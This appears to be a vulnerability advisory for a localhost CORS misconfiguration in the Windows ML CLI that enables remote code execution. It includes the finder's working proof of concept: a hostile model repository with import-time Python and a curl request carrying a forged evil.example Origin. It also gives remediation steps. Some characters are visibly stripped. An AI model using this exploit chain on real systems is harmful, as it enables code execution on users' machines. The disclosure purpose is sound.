CVE-2026-84452: Windows ML CLI: CORS misconfig enables localhost RCE
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cliapi.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'alloworigins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trustremotecode' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cliapi.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets alloworigins=[""] (cliapi.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.frompretrained(..., trustremotecode=True) (autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exitcode: 1 is irrelevant.
Reported Repro Steps:
1. Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"modeltype":"pwn","automap":{"AutoConfig":"configurationpwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configurationpwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWNMARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): modeltype = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cliapi:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor.pdh") class PdhPoller: def init(s,a,k): pass def start(s,a,k): pass def stop(s,a,k): pass def poll(s,a,k): return {} def sample(s,a,k): return {} def close(s,a,k): pass m.PdhPoller = PdhPoller; m.PDHAVAILABLE = False sys.modules["winml.modelkit.session.monitor.pdh"] = m from winml.modelkit.serve.cliapi import app uvicorn.run(app, host="127.0.0.1", port=8000, loglevel="warning") EOF cd ~/winml-poc && PWNMARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","outputdir":"/tmp/poc/out","trustremotecode":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616
Other sources
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cliapi.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the alloworigins setting as a wildcard in both src/winml/modelkit/serve/cliapi.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trustremotecode parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.frompretrained with trustremotecode=True in src/winml/modelkit/loader/autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/winml-clito a version that resolves this vulnerability.Fixed in 0.4.0 - Upgrade
Upgrade
winml-clito a version that resolves this vulnerability.Fixed in 0.4.0 - Compensating control
Ensure the winml-cli serve HTTP API (serve/cli_api.py / winml.modelkit.serve.app.py) is not reachable from untrusted web origins (e.g., remove wildcard CORS behavior and/or restrict allowed origins to the required, trusted sites).
Event History
Frequently Asked Questions
Who can exploit this issue?
An attacker needs to persuade a user to load a malicious website while the Windows ML CLI localhost HTTP API is available. The attack is performed from the user's browser against the local service and does not require authentication to that API.
What configurations are affected?
Versions prior to 0.4.0 are affected because the localhost API has no authentication and allows cross-origin requests from any origin. The vulnerable endpoints are /v1/cli/build and /v1/cli/config when an attacker can set trust_remote_code to true.
What is the impact of successful exploitation?
The attacker can cause Python code from an attacker-controlled model repository to be imported. That code executes with the privileges of the user running the Windows ML CLI server.
What should teams do to remediate this issue?
Upgrade Windows ML CLI to version 0.4.0. The provided information does not identify a separate temporary mitigation for systems that cannot yet be upgraded.